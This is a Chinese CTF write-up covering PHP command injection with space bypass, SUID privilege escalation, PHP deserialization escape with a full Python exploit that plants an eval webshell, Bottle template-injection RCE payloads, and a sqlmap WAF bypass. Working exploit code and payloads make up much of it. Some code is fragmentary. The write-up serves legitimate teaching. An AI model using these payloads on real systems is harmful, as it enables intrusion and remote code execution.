$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
}
分析代码以后,其实我们只需要利用以下代码,就能够执行命令:
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
关键点可能在ActionHandler类中的handle方法,特别是当action为’run’时。这里会调用CommandExecutor的execute方法。
所以执行命令的payload:
/?action=run&&input=命令
请注意,这里的命令里面,不能出现空格,可以用$IFS$9来进行绕过。
这里我选择进行反弹shell,
成功反弹,现在就是看flag。但是由于我们自己权限不能够去读flag。这里还要考虑提权,但是已经给了wc了
猜得不错,也就是要用其进行suid提权。
./wc --files0-from "/flag"
成功拿到flag。
Escape!
下载源码后,我们先进行代码审计:
login.php:
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];
$SQL=new Database();
function login($db,$username,$password)
{
$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);
if(empty($data)){
die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){
die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {
$user = new User($username, true);
}
else{
$user = new User($username, false);
}
return $user;
}
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
$signature = hash_hmac('sha256', $serializedData, $secretKey);
$token = base64_encode($serializedData . '|' . $signature);
setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为1小时
}
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
header("Location: dashboard.php");
?>
我们注意到
$User_ser=waf(serialize($User));
存在一个序列化用户名的过程。然后还调用了一个waf函数
查看waf.php
<?php
function waf($c)
{
$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){
$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}
遇见老朋友了
str_replace($list,"error",$c);
明显这个地方,可能会涉及到php反序列化逃逸,但是目前,我们并不知道到到底逃逸啥。只能继续分析代码
dashbord.php:
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {
$token = $_COOKIE[$cookieName];
// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);
// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);
// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}
// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
}
else{
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']||$_POST['filename']){
echo "<h1>权限不足,写入失败<h1>";
}
}
} else {
echo 'token验证失败';
}
明显,这个地方,可以写入文件,但是这里也提示了需要权限,肯定普通用户是不行的。我们先注册一个正常的用户,查看其user_token。
那我们肯定要逃逸,让其"isadmin"字段变成1
所以现在要进行反序列化逃逸,然后在dashbord写入shell,只是需要绕过<?php exit();?>
逃逸后的用户名:
flag'''''";s:7:"isadmin";b:1;}
攻击代码:
import requests
import base64
# 目标 URL
base_url = "xxxx" # 替换为实际的目标 URL
# 注册信息
username = "flag'''''\";s:7:\"isadmin\";b:1;}" # 注意:用户名中包含5个单引号
password = "123"
# Webshell 信息
webshell_filename = "shell.php"
webshell_content = "aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==" # <?php eval($_POST[a]);?> 的 base64 编码
webshell_url = f"{base_url}/{webshell_filename}"
# 创建 session 对象,用于保持 Cookie
session = requests.Session()
def register():
"""注册用户"""
register_url = f"{base_url}/register.php"
data = {
"username": username,
"password": password,
"confirm_password": password
}
response = session.post(register_url, data=data)
if "注册成功" in response.text:
print("[+] 注册成功!")
return True # 注册成功
elif "用户名已存在" in response.text:
print("[+] 用户名已存在,尝试直接登录...")
return False # 用户名已存在
else:
print("[-] 注册失败!")
print(response.text)
exit()
def login():
"""登录"""
login_url = f"{base_url}/login.php"
data = {
"username": username,
"password": password
}
response = session.post(login_url, data=data)
# print("[+] 登录响应头:")
# print(response.headers)
# 检查登录是否成功(更可靠的方法是检查是否返回了 dashboard.php 的内容)
if "文件写入器" in response.text:
print("[+] 登录成功 (可能需要手动跳转)!")
# 手动跳转到 dashboard.php
dashboard_url = f"{base_url}/dashboard.php"
dashboard_response = session.get(dashboard_url) # 使用 session.get()
# 检查是否成功进入 dashboard.php (管理员权限)
if "文件写入器" in dashboard_response.text:
print("[+] 成功进入 dashboard.php (管理员权限)!")
return True # 登录成功
else:
print("[-] 进入 dashboard.php 失败!")
print(dashboard_response.text)
exit()
else:
print("[-] 登录失败!")
# print(response.text)
return False # 登录失败
def upload_webshell():
"""上传 Webshell"""
upload_url = f"{base_url}/dashboard.php"
data = {
"filename": f"php://filter/write=convert.base64-decode/resource={webshell_filename}",
"txt": webshell_content
}
response = session.post(upload_url, data=data)
# print(response.text) #调试用的,可以看看返回了啥。
if "success" in response.text:
print("[+] 上传成功,但是可能没有回显")
elif "权限不足" in response.text:
print("[-] 上传失败,权限不足!")
exit()
else:
print("[+] 上传文件成功!")
def execute_command(command):
"""执行命令"""
data = {
"a": command # 连接密码是 a
}
response = session.post(webshell_url, data=data)
# 提取命令执行结果(根据实际情况调整)
output = response.text
print(f"[+] 命令执行结果:\n{output}")
def command_loop():
"""进入命令执行循环"""
print("[+] 进入命令执行模式,输入 'exit' 或 'quit' 退出。")
while True:
command = input(">>> ")
if command.lower() in ["exit", "quit"]:
break
execute_command(command)
if __name__ == "__main__":
if not login(): # 先尝试登录
register() # 如果登录失败,再注册
login()
upload_webshell() # 上传 Webshell
command_loop() # 进入命令执行循环
成功绕过执行。
Message in a Bottle
下载附件读取源码:
from bottle import Bottle, request, template, run
app = Bottle()
# 存储留言的列表
messages = []
def handle_message(message):
message_items = "".join([f"""
<div class="message-card">
<div class="message-content">{msg}</div>
<small class="message-time">#{idx + 1} - 刚刚</small>
</div>
""" for idx, msg in enumerate(message)])
board = f"""<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>简约留言板</title>
<link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
<style>
:root {{
--primary-color: #4a90e2;
--hover-color: #357abd;
--background-color: #f8f9fa;
--card-background: #ffffff;
--shadow-color: rgba(0, 0, 0, 0.1);
}}
body {{
background: var(--background-color);
min-height: 100vh;
padding: 2rem 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}}
.container {{
max-width: 800px;
background: var(--card-background);
border-radius: 15px;
box-shadow: 0 4px 6px var(--shadow-color);
padding: 2rem;
margin-top: 2rem;
animation: fadeIn 0.5s ease-in-out;
}}
@keyframes fadeIn {{
from {{ opacity: 0; transform: translateY(20px); }}
to {{ opacity: 1; transform: translateY(0); }}
}}
.message-card {{
background: var(--card-background);
border-radius: 10px;
padding: 1.5rem;
margin: 1rem 0;
transition: all 0.3s ease;
border-left: 4px solid var(--primary-color);
box-shadow: 0 2px 4px var(--shadow-color);
}}
.message-card:hover {{
transform: translateX(10px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.message-content {{
font-size: 1.1rem;
color: #333;
line-height: 1.6;
margin-bottom: 0.5rem;
}}
.message-time {{
color: #6c757d;
font-size: 0.9rem;
display: block;
margin-top: 0.5rem;
}}
textarea {{
width: 100%;
height: 120px;
padding: 1rem;
border: 2px solid #e9ecef;
border-radius: 10px;
resize: vertical;
font-size: 1rem;
transition: border-color 0.3s ease;
}}
textarea:focus {{
border-color: var(--primary-color);
outline: none;
box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
}}
.btn-custom {{
background: var(--primary-color);
color: white;
padding: 0.8rem 2rem;
border-radius: 10px;
border: none;
transition: all 0.3s ease;
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-custom:hover {{
background: var(--hover-color);
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
h1 {{
color: var(--primary-color);
text-align: center;
margin-bottom: 2rem;
font-weight: 600;
font-size: 2.5rem;
text-shadow: 2px 2px 4px var(--shadow-color);
}}
.btn-danger {{
transition: all 0.3s ease;
padding: 0.6rem 1.5rem;
border-radius: 10px;
text-transform: uppercase;
letter-spacing: 0.05rem;
}}
.btn-danger:hover {{
transform: translateY(-2px);
box-shadow: 0 4px 8px var(--shadow-color);
}}
.text-muted {{
font-style: italic;
color: #6c757d !important;
}}
@media (max-width: 576px) {{
h1 {{
font-size: 2rem;
}}
.container {{
padding: 1.5rem;
}}
.message-card {{
padding: 1rem;
}}
}}
</style>
</head>
<body>
<div class="container">
<div class="d-flex justify-content-between align-items-center mb-4">
<h1 class="mb-0">📝 简约留言板</h1>
<a
href="/Clean"
class="btn btn-danger"
onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
>
🗑️ 一键清理
</a>
</div>
<form action="/submit" method="post">
<textarea
name="message"
placeholder="输入payload暴打出题人"
required
></textarea>
<div class="d-grid gap-2">
<button type="submit" class="btn-custom">发布留言</button>
</div>
</form>
<div class="message-list mt-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h4 class="mb-0">最新留言({len(message)}条)</h4>
{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
</div>
{message_items}
</div>
</div>
</body>
</html>"""
return board
def waf(message):
return message.replace("{", "").replace("}", "")
@app.route('/')
def index():
return template(handle_message(messages))
@app.route('/Clean')
def Clean():
global messages
messages = []
return '<script>window.location.href="/"</script>'
@app.route('/submit', method='POST')
def submit():
message = waf(request.forms.get('message'))
messages.append(message)
return template(handle_message(messages))
if __name__ == '__main__':
run(app, host='localhost', port=9000)
这是bottle引擎,这里我们需要进行rce,由于之前没怎么接触过这个引擎,给出大家文档,可以自行阅读。
https://www.osgeo.cn/bottle/stpl.html
其实还是考的渲染导致的rce,和ssti差不多,但是执行方式,以及触发方式大不相同。
针对这个题目,阅读到一个重要的地方:
可以通过这个条件进行rce。
<div>
% if __import__('os').system("echo xxx | base64 -d|bash"):
<span>content</span>
% end
</div>
这里是没有回显的,但是由于这个题目出网,所以可以进行反弹shell但是遇到不出网的项目,又该怎么办呢,只能考虑打内存马进去了。
<div>
% if __import__('bottle').abort(404,__import__('os').popen("cat /fl*").read()):
<span>content</span>
% end
</div>
比如接下来这题
Message in a Bottle plus
还是一样的bottle框架,只不过加了许多调试,并且题目并不出网,经过测试得到能用的payload:
"""
% if __import__('bottle').response.set_header('X-Result', __import__('os').popen("cat /f*").read()):
1
% end
"""
这里由于他把标签过滤了,可以用另一种方式:"""xxx"""这样被三个双引号包裹即可。
三引号包裹 的内容会被当作 多行字符串 处理,但其中的模板指令仍会被解析执行。
import ast
import re
from bottle import Bottle, request, template, run
app = Bottle()
# 存储留言的列表
def waf(message):
# 保留原有基础过滤
filtered = message.replace("{", "").replace("}", "").replace(">", "").replace("<", "")
# 预处理混淆特征
cleaned = re.sub(r'[\'"`\\]', '', filtered) # 清除引号和反斜杠
cleaned = re.sub(r'/\*.*?\*/', '', cleaned) # 去除注释干扰
# 增强型sleep检测正则(覆盖50+种变形)
sleep_pattern = r'''(?xi)
(
# 基础关键词变形检测
\b
s[\s\-_]*l[\s\-_]*e[\s\-_]*e[\s\-_]*p+ # 允许分隔符:s-l-e-e-p
| s(?:l3|1|i)(?:3|e)(?:3|e)p # 字符替换:sl33p/s1eep
| (?:sl+e+p|slee+p|sle{2,}p) # 重复字符:sleeeeep
| (?:s+|5+)(?:l+|1+)(?:e+|3+){2}(?:p+|9+) # 全替换变体:5l33p9
# 模块调用检测(含动态导入)
| (?:time|os|subprocess|ctypes|signal)\s*\.\s*(?:sleep|system|wait)\s*\(.*?\)
| __import__\s*\(\s*[\'"](?:time|os)[\'"]\s*\)\.\s*\w+\s*\(.*?\)
| getattr\s*\(\s*\w+\s*,\s*[\'"]sleep[\'"]\s*\)\s*\(.*?\)
# 编码检测(Hex/Base64/URL/Unicode)
| (?:\\x73|%73|%u0073)(?:\\x6c|%6c|%u006c)(?:\\x65|%65|%u0065){2}(?:\\x70|%70|%u0070) # HEX/URL编码
| YWZ0ZXI=.*?(?:c2xlZXA=|czNlM3A=) # Base64多层编码匹配(sleep的常见编码)
| %s(l|1)(e|3){2}p% # 混合编码
# 动态执行检测(修复括号闭合)
| (?:eval|exec|compile)\s*\(.*?(?:sl(?:ee|3{2})p|['"]\\x73\\x6c\\x65\\x65\\x70).*?\)
# 系统调用检测(Linux/Windows)
| /bin/(?:sleep|sh)\b
| (?:cmd\.exe\s+/c|powershell)\s+.*?(?:Start-Sleep|timeout)\b
# 混淆写法
| s\/leep\b # 路径混淆
| s\.\*leep # 通配符干扰
| s<!--leep # 注释干扰
| s\0leep # 空字节干扰
| base64
| base32
| decode
| \+
)
'''
if re.search(sleep_pattern, cleaned):
return "检测到非法时间操作!"
if re.search('eval', cleaned):
return "eval会让我报错"
# AST语法树检测增强
class SleepDetector(ast.NodeVisitor):
def visit_Call(self, node):
# 检测直接调用 sleep()
if hasattr(node.func, 'id') and 'sleep' in node.func.id.lower():
raise ValueError
# 检测 time.sleep() 等模块调用
if isinstance(node.func, ast.Attribute):
if node.func.attr == 'sleep' and \
isinstance(node.func.value, ast.Name) and \
node.func.value.id in ('time', 'os'):
raise ValueError
self.generic_visit(node)
try:
# 保留原有语法检测
tree = ast.parse(filtered)
SleepDetector().visit(tree)
except (SyntaxError, ValueError):
# 保持原有错误提示
return "检测某种语法错误,防留言板报错系统启动"
return filtered
@app.route('/')
def index():
return template(handle_message(messages))
@app.route('/Clean')
def Clean():
global messages
messages = []
return '<script>window.location.href="/"</script>'
@app.route('/submit', method='POST')
def submit():
message = waf(request.forms.get('message'))
messages.append(message)
return template(handle_message(messages))
if __name__ == '__main__':
run(app, host='0.0.0.0', port=8080,debug=True)
SQL???
这里虽然对sqlmap存在过滤,但是也只是通过user-agent进行的过滤,加一个--random-agent即可
sqlmap -u xxxx?id=1 --random-agent --batch